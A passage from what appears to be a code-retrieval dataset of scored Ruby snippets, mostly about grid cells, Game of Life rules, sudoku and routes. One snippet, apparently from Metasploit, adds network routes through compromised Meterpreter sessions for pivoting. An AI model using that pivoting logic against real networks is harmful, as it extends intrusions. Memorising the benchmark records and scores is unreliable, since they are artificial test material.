"text": "def set_cells(newcells, arglist)\n print_debug \"Setting cells\"\n @cells = Array.new\n @arglist = Array.new\n arglist.each do |arg|\n # Regex to delete any character not a-z,0-9,or _\n print_debug arg\n if [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"].include?(arg[0].chr)\n arg = \"_\" + arg\n end\n @arglist << arg.gsub(/(\\W)+/,\"\").downcase\n end\n if !newcells.nil?\n ord = 0\n newcells.each do |cell|\n ord += 1\n c = RCell.new\n c.onset = cell[\"onset\"]\n c.offset = cell[\"offset\"]\n c.db_cell = cell\n c.parent = @name\n vals = Array.new\n if cell[\"type\"] == 0\n for val in cell.getValue().getArguments()\n vals << val[\"value\"]\n end\n else\n vals << cell.getValue()[\"value\"]\n end\n c.set_args(vals,@arglist)\n c.ordinal = ord\n @cells << c\n end\n end\n end",
"title": ""
},
{
"docid": "0acbcf5821b27ffb57666c52a33f8b32",
"score": "0.5508745",
"text": "def add_row_cell_lists\n (0..8).each do |row_index| \n cellList = SudokuCellList.new\n (0..8).each do |column_index|\n cellList << cell_at_pos(row_index,column_index)\n end\n @cellLists << cellList\n end\n end",
"title": ""
},
{
"docid": "fa2fe9d2e1e926e33c26398eeb9420e4",
"score": "0.5494537",
"text": "def add_cell\n all_cells = params[\"cellIDs\"].map do |cell_id|\n Cell.find(cell_id.to_i)\n end\n all_measures = all_cells.map { |cell| cell.measure }.uniq\n default_duration = all_cells[0].note_duration\n all_cells.each_with_index do |cell, index|\n if params[\"before_or_after\"] == \"before\"\n cell_placement = cell.measure_cell_number\n elsif params[\"before_or_after\"] == \"after\"\n cell_placement = cell.measure_cell_number + 1\n end\n measure = cell.measure\n cells_in_measure = measure.ordered_cells\n cell_added = false\n cells_in_measure.each_with_index do |cell, i|\n if i == cell_placement\n cell.update(measure_cell_number: i + 1)\n measure.cells << Cell.create(note_duration: default_duration, measure_cell_number: i)\n cell_added = true\n next\n end\n if cell_added\n cell.update(measure_cell_number: i + 1)\n end\n end\n if !cell_added\n measure.cells << Cell.create(note_duration: default_duration, measure_cell_number: cells_in_measure.length)\n end\n end\n\n render json: update_measures_return_hash(all_measures)\n end",
"title": ""
},
{
"docid": "f058ac0bf0f6a02173640268a352a922",
"score": "0.5485223",
"text": "def add_range(cells)\n sqref = if cells.is_a?(String)\n cells\n elsif cells.is_a?(SimpleTypedList) || cells.is_a?(Array)\n Axlsx.cell_range(cells, false)\n end\n self << ProtectedRange.new(sqref: sqref, name: \"Range#{size}\")\n last\n end",
"title": ""
},
{
"docid": "8d6075ff45170903fdc4d548b06716e9",
"score": "0.5465191",
"text": "def add(is_alive)\n raise 'too many cells' if ncells >= max\n cell = Cell.new(is_alive)\n i = ncells\n @cells << cell\n\n cell.attach(@cells[northeast_neighbor_index(i)], :northeast) if northeast_neighbor_index(i)\n cell.attach(@cells[north_neighbor_index(i)], :north) if north_neighbor_index(i)\n cell.attach(@cells[northwest_neighbor_index(i)], :northwest) if northwest_neighbor_index(i)\n cell.attach(@cells[west_neighbor_index(i)], :west) if west_neighbor_index(i)\n\n @first_cell = cell if @cells.size == 1\n end",
"title": ""
},
{
"docid": "07e78fddf15ef64ccab82044d30c3739",
"score": "0.5450438",
"text": "def << (cell)\n cell.associate_to_list(self)\n @cells << cell\n self\n end",
"title": ""
},
{
"docid": "9b5654b2e5c148b3e8fa8d854134033f",
"score": "0.54487735",
"text": "def add_neighbors\r\n neighbors = []\r\n neighbors.push(:x_coord => x_coord - 1, :y_coord => y_coord, :dir => 0)\r\n neighbors.push(:x_coord => x_coord, :y_coord => y_coord - 1, :dir => 1)\r\n neighbors.push(:x_coord => x_coord + 1, :y_coord => y_coord, :dir => 2)\r\n neighbors.push(:x_coord => x_coord, :y_coord => y_coord + 1, :dir => 3)\r\n neighbors = neighbors.select { |neighbor|\r\n valid_cell?(neighbor)\r\n }\r\n end",
"title": ""
},
{
"docid": "f97c337b1ff879fb1bb131ee323808ed",
"score": "0.5446331",
"text": "def cell_validation(total_neighbors, cell, alive)\n cell_to_revive, cell_to_kill = [], []\n \n # Rule 1. Any live cell with fewer than two live neighbours dies, as if by underpopulation.\n # Rule 3. Any live cell with more than three live neighbours dies, as if by overpopulation.\n cell_to_kill << cell if (alive && (total_neighbors < 2 || total_neighbors > 3))\n\n # Rule 2. Any live cell with two or three live neighbours lives on to the next generation.\n # Rule 4. Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.\n cell_to_revive << cell if ([2,3].include?(total_neighbors) && alive) || (cell.dead? && total_neighbors == 3)\n return cell_to_revive, cell_to_kill\n end",
"title": ""
},
{
"docid": "139cd233a522acf0b41b08b8f4f79871",
"score": "0.5430715",
"text": "def solve cells\n cells.each_index do |i|\n @board.set cells[i][0], cells[i][1]\n end\n\n regenerate\n end",
"title": ""
},
{
"docid": "9dbb681a6a4f62cd18db6ac5ca4ebeb0",
"score": "0.5418159",
"text": "def add_route\n if @stations.empty? || @stations.count < 2\n @interface.puts_text(:empty_stations)\n else\n show_stations\n first_last\n new_route\n end\n rescue RuntimeError => route_exception\n @interface.puts_exception(route_exception)\n retry\n end",
"title": ""
},
{
"docid": "3bfad2d98c1af47dfc87d3e7cf882051",
"score": "0.5381981",
"text": "def add_cell(cell)\n @row << cell\n self\n end",
"title": ""
},
{
"docid": "31af5bde9885df43c14d6073083bace8",
"score": "0.5372901",
"text": "def add_data_validation(cells, data_validation); end",
"title": ""
},
{
"docid": "0554276a130ced8baa7a6bb04695357f",
"score": "0.53565496",
"text": "def protect_range(cells)\n protected_ranges.add_range(cells)\n end",
"title": ""
},
{
"docid": "a14f2ce04ee962ea740ea1bd73b4b9b8",
"score": "0.5319476",
"text": "def valid_move(input)\n\t\tif @cells.include?(input)\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2d8f0fb17135da8c0f7cbd713ddedd51",
"score": "0.5310746",
"text": "def spawn_cells(*cells)\n cells.each do |row,col|\n @cells[row][col] = 1\n end\n end",
"title": ""
},
{
"docid": "5b5f0100021da9bb5e58c24ffe22f68e",
"score": "0.52694553",
"text": "def valid_path(cells, testing = false)\n piece = cells[0].piece\n diff = pos_difference(cells)\n \n inc = piece.increments.include?(diff) ? diff : diff_to_inc(diff)\n result = false\n read = @board.cells[alpha_add(cells[0].pos, inc)]\n loop do\n if read == cells[1]\n result = true\n break\n elsif read.piece != nil\n break\n end\n read = @board.cells[alpha_add(read.pos, inc)]\n end\n if result == false\n puts \"no path for #{cells[0].piece.class} #{cells[0].pos} ==> #{cells[1].pos}\" if !testing\n end\n result\n end",
"title": ""
},
{
"docid": "097d01a7da8896ccdf8ec610332b6bd2",
"score": "0.52419066",
"text": "def add_route(ports)\n # check if metros exist\n if @metros.has_key?(ports[0]) && @metros.has_key?(ports[1])\n code_start = @metros[ports[0]]\n code_end = @metros[ports[1]]\n\n metro_name_start = @vertices[code_start].metro.name\n metro_name_end = @vertices[code_end].metro.name\n\n distance = prompt_distance\n\n # create new edge from first metro to the second\n add_route_with_distance(code_start, code_end, distance)\n puts \"Added route from #{metro_name_start} to #{metro_name_end}\\n\"\n else\n puts 'Invalid Input'\n end\n end",
"title": ""
},
{
"docid": "5da2af05f3437df1f79d6653638d9524",
"score": "0.52294725",
"text": "def add_block_cell_lists\n (0..8).each do |block_index| \n cellList = SudokuCellList.new\n [0,1,2].each do |row_index|\n [0,1,2].each do |column_index|\n row = (block_index / 3) * 3 + row_index\n column = (block_index % 3) * 3 + column_index\n cellList << cell_at_pos(row,column) \n end\n end\n @cellLists << cellList\n end\n end",
"title": ""
},
{
"docid": "214b258b3bbc2d29d4c58a28b3d174d1",
"score": "0.51964235",
"text": "def initialize(cells)\n\t\tself.cells = cells\n\n\t\t# Make the reverse link: each cell knows what constraints\n\t\t# applies to it.\n\t\tcells.each do |cell|\n\t\t cell.add_constraint(self)\n\t\tend\n\t end",
"title": ""
},
{
"docid": "6bef99febda21a5bc4df4a9177efbfaa",
"score": "0.5194817",
"text": "def row(rooms, outside, rownum, *exits)\n exits.each_with_index do |nesw, index|\n room = rooms[rownum][index]\n n = nesw[0]\n e = nesw[1]\n s = nesw[2]\n w = nesw[3]\n\n room.add_exit(\"north\", rooms[rownum - 1][index]) if n == \"0\"\n room.add_exit(\"north\", outside) if n == \"E\"\n\n room.add_exit(\"east\", rooms[rownum][index + 1]) if e == \"0\"\n room.add_exit(\"east\", outside) if e == \"E\"\n\n room.add_exit(\"south\", rooms[rownum + 1][index]) if s == \"0\"\n room.add_exit(\"south\", outside) if s == \"E\"\n\n room.add_exit(\"west\", rooms[rownum][index - 1]) if w == \"0\"\n room.add_exit(\"west\", outside) if w == \"E\"\n end\n end",
"title": ""
},
{
"docid": "8a9197dab031e6ec86ff948ec9c63cf7",
"score": "0.5175308",
"text": "def make_cell_lists\n @cellLists = []\n add_row_cell_lists\n add_column_cell_lists\n add_block_cell_lists\n end",
"title": ""
},
{
"docid": "25cd8a30b739931bf453888b1d9964a6",
"score": "0.5161199",
"text": "def valid_locations\n @has_moved = moved? if @has_moved == false\n create_moves.select { |move| into_check?(row + move[0], col + move[1]) == false}\n .map { |move| [move[0] + row, move[1] + col] }\n end",
"title": ""
},
{
"docid": "e977ac501ad55acc6cf921d131c694f1",
"score": "0.5134975",
"text": "def insert\n\t\t\t@routes.each do |route|\n\t\t\t\tno_insertion = true\n\t\t\t\tbegin\n\t\t\t\t\tno_insertion = true\n\t\t\t\t\tsort_by_appropriateness(route).each do |insert_poi|\n\t\t\t\t\t\tinsert_cost, insert_position = route.find_cheapest_insertion(insert_poi)\n\t\t\t\t\t\tif route.consumed_budget + insert_cost <= @available_budget\n\t\t\t\t\t\t\troute.insert_poi(insert_poi, insert_position, insert_cost)\n\t\t\t\t\t\t\t@available_pois.delete(insert_poi)\n\t\t\t\t\t\t\t@assigned_pois << insert_poi\n\t\t\t\t\t\t\tno_insertion = false\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend until no_insertion\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "6f46fe2f12f4343228995318bb19bd94",
"score": "0.5114958",
"text": "def valid_input(cells, testing = false)\n if cells[0].nil? || cells[1].nil?\n puts \"error: enter valid positions\" if !testing\n return false\n elsif cells[0].piece.nil?\n puts \"error: starting position has no piece!\" if !testing\n return false\n elsif cells[0].piece.color != @turn.color\n puts \"error: select friendly piece to move\" if !testing\n return false\n elsif cells[1].piece != nil && cells[1].piece.color == @turn.color\n puts \"error: friendly piece at destination\" if !testing\n return false\n else\n return true\n end\n end",
"title": ""
},
{
"docid": "afbec6475739d567a25051bba8b2e1cb",
"score": "0.5109783",
"text": "def validate_grid grid\n @validated_grids ||= []\n @validated_grids << grid\n end",
"title": ""
},
{
"docid": "3743d18f0c4ba963f45eb902157e2bb3",
"score": "0.51049614",
"text": "def callRooms(cells)\n\t\t@rooms.each{|room|\n\t\t\tif(isEnoughFood? && (getTotalNumberOfAnts < 15))\n\t\t\t\tant = room.spawnAnt\n\t\t\t\t@food -= 1\n\t\t\t\t@ants << ant\n\t\t\t\tif(ant.ant_type == \"builder\")\n\t\t\t\t\tif(self.isEnoughFood?) #If there is enough food, builder builds a new room\n\t\t\t\t\t\tself.rooms << ant.execute(self.strategy[self.next_strategy])\n\t\t\t\t\t\t#If strategy index is exceeded go back to the start\n\t\t\t\t\t\tif(self.next_strategy < self.strategy.length - 1)\n\t\t\t\t\t\t\tself.next_strategy += 1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself.next_strategy = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telsif (ant.ant_type == \"forager\")\n\t\t\t\t\tprevious_position = ant.position\n\t\t\t\t\tcells[previous_position].ants.delete(ant)\n\t\t\t\t\tant.move\n\t\t\t\t\tcells[ant.position].ants << ant\n\t\t\t\t\tant.execute(cells[ant.position])\n\t\t\t\telse\n\t\t\t\t\tprevious_position = ant.position\n\t\t\t\t\tcells[previous_position].ants.delete(ant)\n\t\t\t\t\tant.move\n\t\t\t\t\tcells[ant.position].ants << ant\n\t\t\t\t\tant.execute(cells[ant.position])\n\t\t\t\tend\n\t\t\t\tcase ant.ant_type\n\t\t\t\twhen 'forager'\n\t\t\t\t\t@foragers_count += 1\n\t\t\t\twhen 'warrior'\n\t\t\t\t\t@warriors_count += 1\n\t\t\t\twhen 'builder'\n\t\t\t\t\t@builders_count += 1\n\t\t\t\tend\n\t\t\tend\n\t\t}\n\tend",
"title": ""
},
{
"docid": "a695aaf36ebc2dfb8b9046ed9395e954",
"score": "0.5098204",
"text": "def merge_cells(cells)\n merged_cells.add cells\n end",
"title": ""
},
{
"docid": "407fa90bd28223a379aa7b4ef53f8b73",
"score": "0.50840753",
"text": "def validate_cell_on_create_or_update\n\t\tif !/\\A1[0-9]{3}[0-9]{3}[0-9]{4}\\z/i.match(cell) && !cell.blank?\n\t\t\terrors.add(:cell, %q{is invalid})\n\t\tend\n\tend",
"title": ""
},
{
"docid": "40d06bcc0299bd29877dabe74a56b99f",
"score": "0.5078446",
"text": "def add_neighbour(cell)\n if !(@neighbours.include?(cell))\n @neighbours << cell\n cell.neighbours << self\n end\n end",
"title": ""
},
{
"docid": "333d09cd649894a7a7be76958711baca",
"score": "0.50759345",
"text": "def <<(cells)\n AppendedColumnRow.new(self, *cells.cells)\n end",
"title": ""
},
{
"docid": "611f2b2fad83c0c4ea854bad3704f241",
"score": "0.5070495",
"text": "def add_cell(cell)\n cell.id = 100 * (cells.size + 1)\n cells << cell\n end",
"title": ""
},
{
"docid": "98ce2a83caffb46fbfab5e4a8730f5f8",
"score": "0.506541",
"text": "def generate_new_cell(x_coord, y_coord, arr, cell)\n num_neighbors = get_num_neighbors(x_coord, y_coord, arr)\n if !cell && num_neighbors == 3\n true\n elsif cell && [2, 3].include?(num_neighbors)\n true\n else\n false\n end\nend",
"title": ""
},
{
"docid": "488b52bbc7085245b541c56eff341213",
"score": "0.5054267",
"text": "def initialize_routes(routes)\n routes.each do |route|\n self.add_route(route['ports'][0], route['ports'][1], route['distance'])\n self.add_route(route['ports'][1], route['ports'][0], route['distance'])\n end\n end",
"title": ""
},
{
"docid": "2e873979e2e3ff99f41219eaa199d33f",
"score": "0.5054079",
"text": "def merge_cells(cells); end",
"title": ""
},
{
"docid": "7cfe0db449adaccb142a2d0a49cee0aa",
"score": "0.5034899",
"text": "def add_station_to_route\n return unless check_route && check_station\n\n new_station_to_route = @stations[@station_index]\n update_routes = @routes[@route_index]\n if update_routes.stations.map(&:name).include? new_station_to_route.name\n @interface.puts_station_to_route(false, new_station_to_route)\n else\n update_routes.stations.insert(-2, new_station_to_route)\n @interface.puts_station_to_route(true, new_station_to_route)\n end\n end",
"title": ""
},
{
"docid": "a48a3138d26ad65b8bc8e2760cb73f78",
"score": "0.50338",
"text": "def <<(*cells)\n result = true\n load_target if @row.new_record?\n \n transaction do\n flatten_deeper(cells).each do |cell_data|\n create_cells( cell_data ) do |cell|\n add_cell_to_target_with_callbacks(cell) do |r|\n # should not save here ever really\n # result &&= cell.save unless @row.new_record?\n end\n end\n end\n end\n \n result && self\n end",
"title": ""
},
{
"docid": "94f994853e7f4fe23a7efeaaa69b3cd3",
"score": "0.5026759",
"text": "def add_grid(grid, width, height)\n @last_width = width\n @last_height = height\n \n @clobber_grid = false\n generate_empty_grid\n \n height.times do |i|\n @grid[i] = grid[i][0].split(' ')\n end\n end",
"title": ""
},
{
"docid": "7c83727ebbaba31ebbd0c7f79faa022e",
"score": "0.50261265",
"text": "def filling_maze\n distance = 0\n stop = nil\n loop do\n find_target(distance).each do |index|\n ROUTE.each do |direction|\n stop = true unless move(index, direction, distance + 1)\n end\n end\n break if stop\n distance += 1\n end\n end",
"title": ""
},
{
"docid": "7c83727ebbaba31ebbd0c7f79faa022e",
"score": "0.50261265",
"text": "def filling_maze\n distance = 0\n stop = nil\n loop do\n find_target(distance).each do |index|\n ROUTE.each do |direction|\n stop = true unless move(index, direction, distance + 1)\n end\n end\n break if stop\n distance += 1\n end\n end",
"title": ""
},
{
"docid": "c4ca3a115d3419c50f84c2b20a5918d6",
"score": "0.501926",
"text": "def <<(cell)\n @cells << cell\n end",
"title": ""
},
{
"docid": "489c5e971937221448ebc5ca6f7e741e",
"score": "0.5012187",
"text": "def append_cells(*values)\n values.each &method(:append_cell)\n end",
"title": ""
},
{
"docid": "dead34c1f3e20d7076c3479cb8ac18b4",
"score": "0.49728242",
"text": "def fill_board_with_cells\n (0..@row_count).each do |row|\n (0..@col_count).each do |col|\n @board[[row, col]] = Cell.new\n end\n end\n end",
"title": ""
},
{
"docid": "66de6543545a170a2f1a0da4a6e0448e",
"score": "0.49662942",
"text": "def place_tile_on_grid_with_zed(all_tiles, left, right, bottom, up)\r\n if(validate_placement(all_tiles[@z - 1]))\r\n tiles = all_tiles[@z]\r\n @marked = -1\r\n \r\n assign_binary_status(left, bottom, right, top)\r\n propagate_to_adj(left, bottom, right, top)\r\n end\r\n end",
"title": ""
},
{
"docid": "e3df43bc324a3eb75d3fde58ded900a5",
"score": "0.49489743",
"text": "def add_cell(type,metadata,outputs,source)\n\t\t\t@cells << Cell.new(type,metadata,outputs,source)\n\t\tend",
"title": ""
},
{
"docid": "bfca8170515fe39bb006e4dcf4fa0c01",
"score": "0.49486092",
"text": "def add_column_cell_lists\n (0..8).each do |column_index|\n cellList = SudokuCellList.new\n (0..8).each do |row_index|\n cellList << cell_at_pos(row_index,column_index)\n end\n @cellLists << cellList\n end\n end",
"title": ""
},
{
"docid": "0d4340c25f1d9dd4a9b9af2a30505eb3",
"score": "0.49431807",
"text": "def valid_coordinate?(coordinates)\n @cells.include?(coordinates)\n end",
"title": ""
},
{
"docid": "50e9810080023151b31bb2d88bf2c108",
"score": "0.4942987",
"text": "def resolve(cells); end",
"title": ""
},
{
"docid": "9ad372e26bc1fd54680253fe7bc79627",
"score": "0.49269757",
"text": "def add_cells(row, col)\n if col == 0\n row[col] + row[col + 1]\n elsif col == (a[row].length -1)\n row[col -1] + row[col]\n else\n row[col -1] + row[col] + row[col + 1]\n end\nend",
"title": ""
},
{
"docid": "b37acfad0636d16d99567eb954a71d5e",
"score": "0.49250868",
"text": "def list_add(y, x)\n @list.push([y+1, x, :s]) if y!= @row_count-2 && @new_maze[y+1][x] == '1' \n @list.push([y-1, x, :n]) if y!= 1 && @new_maze[y-1][x] == '1' \n @list.push([y, x+1, :w]) if x!= @row_length-2 && @new_maze[y][x+1] == '1'\n @list.push([y, x-1, :e]) if x!= 1 && @new_maze[y][x-1] == '1' \n end",
"title": ""
},
{
"docid": "de76ade416d1e4226446b80cdc689053",
"score": "0.4923069",
"text": "def placement_checks(letters, numbers, ship_name, ship_cells)\n\n equal_length = ship_name.length == ship_cells.length\n # boolean - ship_name = 3, ship_cells.length = 3, so true\n\n # establish booleans for following blocks - set to false by default\n valid_letters = false\n\n # AAA == range, A to A, so AA or A min, A max, so A=A\n # (this is false) (this is true, valid)\n if letters == (letters.min..letters.max).to_a || letters.min == letters.max\n valid_letters = true\n end\n\n # 123 == range, 1 to 3, so 123 or 1 min, 3 max, but 1!= 3\n # this is true this is false\n # returns true overall with 'or'\n valid_numbers = false\n if numbers == (numbers.min..numbers.max).to_a || numbers.min == numbers.max\n valid_numbers = true\n end\n\n # need to ensure that A1, B2, C3 fails\n # only number or letter conditional can be met\n if (numbers.min.to_i != numbers.max.to_i && letters.min != letters.max)\n not_diagonal = false\n else\n not_diagonal = true\n end\n\n if valid_letters && valid_numbers && not_diagonal && equal_length == true\n return true\n else\n return false\n end\n\n end",
"title": ""
},
{
"docid": "f3b46d4ffe987845b0973b1272208f8f",
"score": "0.4921285",
"text": "def reproduce_new_cells(rand_brd, occupied_cells_arr)\n end",
"title": ""
},
{
"docid": "26e224b5ddf89c8d5a93d4045476c748",
"score": "0.49044305",
"text": "def add_room_td_cell(row, col)\n render :partial => \"add_room\", :locals => { :row => row, :col => col }\n end",
"title": ""
},
{
"docid": "968771333be527062122e429ff10f338",
"score": "0.49030298",
"text": "def route_list=(new_list)\n @route_list = new_list.flatten().uniq\n end",
"title": ""
},
{
"docid": "bb0b32e365660fc8bea1b643fac9bcaf",
"score": "0.48995242",
"text": "def create_route(route_list)\n @route_gen.info_list = route_list\n id = @route_gen.gen_id\n path = @route_gen.gen_path\n stops = gen_stops\n path = @route_gen.insert_stops_in_path(path, stops)\n\n #Insert start and end point as stops\n stops.insert(0,Stop.new(\"Punto inicial de la ruta\",path.first))\n #stops.append(Stop.new(\"Punto final de la ruta\",path.last))\n\n route = Route.new(id, path, stops)\n route\n end",
"title": ""
},
{
"docid": "8536bcc42b4a190a605bcb675695647f",
"score": "0.4898671",
"text": "def initialize(cells:)\n @cells = cells\n end",
"title": ""
},
{
"docid": "0e93fb3650eb1c4783b36284881bb4f5",
"score": "0.48967412",
"text": "def add_cell_to_next_state_give_life(cell)\n @next_state_give_life.push(cell) # adding \n end",
"title": ""
},
{
"docid": "7ea87920a50ae34d2fa2da62344f1da7",
"score": "0.48940557",
"text": "def save_cells f\r\n @cell_list.each{ |cell| # mikan region\r\n if ! cell.is_editable?\r\n next\r\n end\r\n\r\n f.print( \"cell #{ cell.get_celltype.get_namespace_path} #{cell.get_name} {\\n\" )\r\n\r\n if cell.get_cports.length > 0\r\n f.print \"\\n /*** call ports ***/\\n\"\r\n end\r\n cell.get_cports.each{ |name, cport|\r\n if cport.is_array?\r\n cport.get_ports.each{ |cport|\r\n join = cport.get_join\r\n if join then\r\n eport = join.get_eport\r\n if eport.get_subscript then\r\n subscript = \"[ #{eport.get_subscript} ]\"\r\n else\r\n subscript = \"\"\r\n end\r\n f.print \" #{cport.get_name}[ #{cport.get_subscript} ] = #{eport.get_cell.get_name}.#{eport.get_name}#{subscript};\\n\"\r\n end\r\n }\r\n else\r\n join = cport.get_join\r\n if join then\r\n eport = join.get_eport\r\n if eport.get_subscript then\r\n subscript = \"[ #{eport.get_subscript} ]\"\r\n else\r\n subscript = \"\"\r\n end\r\n f.print \" #{cport.get_name} = #{eport.get_cell.get_name}.#{eport.get_name}#{subscript};\\n\"\r\n end\r\n end\r\n }\r\n\r\n attr_list = cell.get_attr_list\r\n if attr_list.length > 0\r\n f.print \"\\n /*** attributes ***/\\n\"\r\n end\r\n attr_list.keys.sort.each{ |attr|\r\n f.print \" #{attr} = #{attr_list[attr]};\\n\"\r\n }\r\n\r\n f.print( \"};\\n\" )\r\n }\r\n end",
"title": ""
},
{
"docid": "c256d0cb6f629cf06fd439ca0844ddc6",
"score": "0.48886693",
"text": "def check_route_stops\n errors.add(:stops_length, :route_stops_must_be_added) unless route_stops.present?\n end",
"title": ""
},
{
"docid": "80e9376478797122e1a98fa4c6001302",
"score": "0.48850593",
"text": "def add_route_by_string(s)\n arr = s.split('#')\n arr.map!{|e| # Remove preceding and trailing spaces\n e.lstrip.rstrip\n }\n\n if arr.size == 3\n if arr.include?(\"\")\n puts(\"Not enough info! Adding failed! \")\n else\n f = search_city(arr[0]) # must be in city_hash in order for the route to be added.\n t = search_city(arr[1])\n d = arr[2]\n if f != nil && t != nil && is_num(d)\n d = d.to_f\n node = Node.new(f.get_all['code'], d)\n @graph[f.get_all['code']][t.get_all['code']] = node\n puts(\"Route added!\")\n else\n puts(\"Incorrect format or city does not exists! \")\n\n end\n end\n else\n puts(\"Not enough info! Adding failed! \")\n\n end\n\n end",
"title": ""
},
{
"docid": "af490f2f08a533f516c9bdfaf4d9562a",
"score": "0.48767218",
"text": "def initialize(cells = [])\n @cells = cells || []\n end",
"title": ""
},
{
"docid": "eab64e77a4785c3d064f12050049d023",
"score": "0.487665",
"text": "def move_is_valid(from_cell, to_cell)\n if from_cell.player_id != state.turn_player_id\n return invalid_turn \"An attempt to move opponent's cell\"\n end\n\n if to_cell.player_id == state.turn_player_id\n return invalid_turn \"An attempt to move own cell\"\n end\n\n if not from_cell.neighbours.detect { |id| id == to_cell.id }\n return invalid_turn \"An attempt to move to not neighbour cell\"\n end\n\n if from_cell.army_size == 1\n return invalid_turn \"An attempt to attack with army size 1\"\n end\n\n return true\n end",
"title": ""
},
{
"docid": "25195bc7d34e2360efb9cbd5b1782ea6",
"score": "0.48709908",
"text": "def add(boundary = [])\n raise \"Not a valid boundary\" unless is_boundary?(boundary)\n \n # Determine the dimension of the new cell and its boundary\n boundary_dimension = boundary.empty? ? -1 : boundary[0].dim\n cell_dimension = boundary_dimension + 1\n\n # Set the boundary of 0-faces to be the empty face\n boundary = [@empty_face] if cell_dimension == 0\n\n # Create the new cell and add it to the complex\n cell = new_cell(cell_dimension)\n @lower[cell] = boundary.clone\n @upper[cell] = cell_dimension == @dim ? [@full_face] : []\n\n @cells[cell_dimension] << cell\n\n # add the new switch operations involving the new cell\n boundary.each do |facet|\n # add the new cell to the coboundary of its boundary\n @upper[facet] << cell\n\n if cell_dimension == @dim\n add_switches facet, @upper[facet], @full_face\n end\n \n @lower[facet].each do |face|\n facets = @upper[face] & boundary\n add_switches face, facets, cell\n end\n end\n\n # Return the newly created cell.\n return cell\n end",
"title": ""
},
{
"docid": "a8f0fc40a36ef9e74efa21b2db7f81d9",
"score": "0.48547179",
"text": "def check_routes(my_graph, list)\n if list.length < 2\n puts 'Not valid routes'\n return\n end\n total_distance = 0\n total_money = 0.0\n total_time = 0.0\n previous = list[0].upcase\n\n # Now check one by one\n for index in 1..list.length-1\n next_city =list[index].upcase\n if !my_graph.has_route(previous, next_city)\n puts 'Route is invalid.'\n return false\n end\n current_distance = my_graph.get_distance(previous, next_city)\n total_distance += current_distance\n current_rate = 0.4 - index*0.05\n if current_rate < 0\n current_rate = 0\n end\n total_money+=current_rate * current_distance\n total_time+=get_time_part1(current_distance)\n if index!=1\n total_time+=get_time_part2(previous, my_graph)\n end\n previous = next_city\n end\n\n puts \"The total distance is #{total_distance} kilometer\"\n puts \"The total money is #{total_money} dollars\"\n puts \"The total time is #{total_time} hours\"\n return total_distance, total_money, total_time\nend",
"title": ""
},
{
"docid": "43ed4dd6832bd905fdef95cff0b93d50",
"score": "0.4854338",
"text": "def add_ships(coordinates,start,finish, dir, name)\n if dir == \"H\"\n for i in start..finish\n @board[coordinates[0]][i] = \"#{name}\"\n end\n elsif dir == \"V\"\n for i in start..finish\n @board[i][coordinates[1]] = \"#{name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "43d486b01fc5bc45939dfe793f934453",
"score": "0.4854308",
"text": "def add_routes(sid, stale_sids)\n return unless route_compatible?(sid)\n return unless framework.sessions[sid].alive?\n\n begin\n framework.sessions[sid].net.config.each_route do | route | # This line is where errors are thrown for python, php, etc...\n\n if (Rex::Socket.is_ipv4?(route.subnet) && Rex::Socket.is_ipv4?(route.netmask))\n subnet = get_subnet_ipv4(route.subnet, route.netmask) # Make sure that the subnet is actually a subnet and not an IP address. Android phones like to send over their IP.\n next unless is_routable_ipv4?(subnet, route.netmask)\n\n # Optional IPv6 routing\n elsif (Rex::Socket.is_ipv6?(route.subnet) && Rex::Socket.is_ipv6?(route.netmask))\n next unless self.config[:ipv6]\n subnet = route.subnet\n next unless is_routeable_ipv6?(subnet, route.netmask)\n\n else\n next\n end\n\n if subnet\n remove_if_stale(subnet, route.netmask, sid, stale_sids) if self.config[:reroute_stale]\n\n if !Rex::Socket::SwitchBoard.route_exists?(subnet, route.netmask)\n begin\n Rex::Socket::SwitchBoard.add_route(subnet, route.netmask, framework.sessions[sid])\n rescue ::Exception => e\n elog(\"#{e.class} #{e.message}\\n#{e.backtrace * \"\\n\"}\")\n end\n end\n end\n end\n\n rescue ::Rex::Post::Meterpreter::RequestError => re\n self.state[sid].add_route_error\n end\n\n end",
"title": ""
},
{
"docid": "ec8565b82d0f245c2f218ddcd9aff1a8",
"score": "0.4848369",
"text": "def validationCell\n if @board[0,1] != \"[1]\" || @board[10,0] != \"[10]\" || @board[5,5] != \"[-]\" || @board[0,3] != \"[3]\"\n return false\n else\n return true\n end\nend",
"title": ""
},
{
"docid": "4b18e4948ac77201aaa31d50ec350fda",
"score": "0.48465654",
"text": "def addRoute(csa)\n @parse.map{ |airport| \n if( airport[\"name\"] == csa)#Found the city add the route\n destination = AddInfo.new.RouteMenu()\n airport[\"destinations\"].push(destination)\n end\n }\n end",
"title": ""
},
{
"docid": "fd2e4cd9264869ad0ff0baef208ee5b1",
"score": "0.4845491",
"text": "def validate\n body.each do |row|\n new_row = Row.new(*row)\n if new_row.valid?\n valid_rows.push(new_row)\n else\n invalid_rows.push error: new_row\n end\n end\n generate_result\n end",
"title": ""
},
{
"docid": "61096d451f42593ee56e036f740870c2",
"score": "0.48380667",
"text": "def add_rows\n @maze.cells.each_with_index do |row, row_index|\n (0...row.length).each do |col_index|\n @maze_string << '+' << (row[col_index].has_top_cell? ? ' ' : '-')\n end\n @maze_string << \"+\\n\"\n (0...row.length).each do |col_index|\n @maze_string << (row[col_index].has_left_cell? ? ' ' : '|') << cell_marker(row_index, col_index)\n end\n @maze_string << \"|\\n\"\n end\n end",
"title": ""
},
{
"docid": "40af1cd1a761df4d351de77672b86663",
"score": "0.4835781",
"text": "def is_route(metro_list)\n metro_list.each_cons(2) do |metro1, metro2|\n if not @map.exist_route(metro1, metro2)\n return false\n end\n end\n return true\n end",
"title": ""
},
{
"docid": "090328a983d15c6d8e4af12869cac45d",
"score": "0.48330498",
